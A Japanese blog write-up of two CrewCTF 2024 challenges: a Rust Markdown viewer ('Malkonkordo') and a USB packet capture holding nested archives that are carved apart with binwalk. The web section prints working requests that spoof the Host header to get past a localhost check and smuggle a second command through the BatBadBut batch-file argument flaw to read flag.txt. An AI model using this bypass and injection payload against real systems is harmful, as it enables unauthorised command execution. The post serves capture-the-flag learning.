はまやんはまやんはまやん

hamayanhamayan's blog

CrewCTF 2024 Writeup

[web] Malkonkordo

ソースコード有り。Rustで書かれたMarkdownビューワーが与えられる。ソースコードを巡回すると管理者限定でコマンド実行できるエンドポイント GET /ai/run がある。これを動かす前に管理者であることを確認するフィルターがある。

async fn middleware_localhost<E: Endpoint>(next: E, req: Request) -> Result<Response> {
    // No authentication? -T // "I [too] like to live dangerously." -V
    if let Some(host) = req.uri().host().or(req.header("host")) {
        if !host.trim_start().starts_with("127.0.0.1") {
            return Err(Error::from_status(StatusCode::UNAUTHORIZED));
        }
    } else {
        return Err(Error::from_status(StatusCode::UNAUTHORIZED));
    }

    let resp = next.call(req).await?.into_response();
    Ok(resp)
}

接続元が127.0.0.1からであることを確認するものだが、req.header("host")というのがありHostヘッダーからも情報取得していた。なのでリクエストヘッダーのHostヘッダーに127.0.0.1を入れれば偽装できる。試しに以下のようにリクエストを飛ばしてみると環境変数の一覧が得られた。

GET /ai/run?cmd=env&arg= HTTP/1.1
Host: 127.0.0.1


→

…
CARGO: \\?\C:\Users\ctf\.rustup\toolchains\1.76-x86_64-pc-windows-msvc\bin\cargo.exe
…

環境変数を見るとRustのバージョンは1.76のようである。実行可能なコマンドはいくつかあるが、ping2というのにブラックリストフィルタリングが実装されていて、しかもバッチファイルを呼び出していて非常に怪しい。

"ping2" => {
    if arg.contains(['\'', '"', '*', '!', '@', '^', '?']) {
        return Err("bad chars found".to_string());
    }
    let routput = Command::new(".\\scripts\\ping.bat")
        .arg(arg)
        .output();

    if let Err(_e) = routput {
        return Err("failed to run ping2 output".to_string());
    }

    Ok(String::from_utf8_lossy(&routput.unwrap().stdout).to_string())
}

シェルスクリプトではなくバッチファイルが動いている。これは…BatBadButか?

blog.flatt.tech

Rustも同様に影響があり、関連するSecurity Advisoryを見ると1.77.2未満のバージョンが影響を受けるので環境変数の情報から脆弱なバージョンであることが分かる。

試していこう。ブログ記事に書かれているpayloadの"&calc.exeを入れてみる。だが、これはブラックリストフィルタリングに阻まれてbad chars foundと言われてしまう。

ブログ記事をよく読むと"が使えない場合の回避方法も書かれていて"が含まれる環境変数から"を持って来るやり方が紹介されていた。これを適用し、%CMDCMDLINE:~-1%&calc.exeとやってみると応答が帰ってきて、そのうちの入力値が跳ね返ってくる部分がPinging ""...となっていた。例えばhogeと入れるとPinging hoge...のように帰ってくるので、意図せず受け入れられてはいそうなので成功はしていそう。calcではなくhostnameを試してみると… 応答末尾にacce4aa638aaが含まれてきた!実行した際の標準出力が得られる関係で末尾に応答が乗ってくるようだ。RCE達成できた。

あとは、flag.txtを取得したいので、Windows環境ではtype.exeを使う。スペースが使えるのか分からなかったがやってみると使えて、具体的には%CMDCMDLINE:~-1%&type.exe flag.txtをargとした以下のようなリクエストでフラグが得られる。

GET /ai/run?cmd=ping2&arg=%25CMDCMDLINE%3a~-1%25%26type.exe%20flag.txt HTTP/1.1
Host: 127.0.0.1


→

HTTP/1.1 200 OK
…

Network checking finished!
crew{■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■}

[forensics] Recursion

USB通信のパケットキャプチャ usb.pcapng が与えられる。何の通信か正確には分からないが、Windowsベースでファイルのやり取りをしているように見える。binwalkでひたすらファイルカービングすると解けた。

binwalkする。

$ binwalk -e usb.pcapng

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
13811         0x35F3          gzip compressed data, maximum compression, has original file name: "layer4.pcapng", from FAT filesystem (MS-DOS, OS/2, NT), last modified: 2024-04-06 09:43:23

layer4.pcapngが得られた。さらにbinwalkしよう。

$ binwalk -e layer4.pcapng

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
14095         0x370F          7-zip archive data, version 0.4

$ dd ibs=1 obs=1 skip=14095 if=layer4.pcapng of=out.7z

自動で展開されなかったのでddコマンドで手動で持ってきて解凍すると、layer3.pcapngが得られた。どんどんbinwalkしていくと、layer1.pcapngまで得られる。

$ binwalk -e layer3.pcapng

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
13527         0x34D7          POSIX tar archive (GNU), owner user name: "capng"

$ binwalk -e layer2.pcapng

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
22811         0x591B          Zip archive data, at least v2.0 to extract, compressed size: 3048, uncompressed size: 54768, name: layer1.pcapng
25961         0x6569          End of Zip archive, footer length: 22

$ binwalk -e layer1.pcapng 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------

$ strings layer1.pcapng | grep crew
crew{■■■■■■■■■■■■■■■■■■}

layer1.pcapngからは何も出てこなかったのでstringsするとフラグが得られる。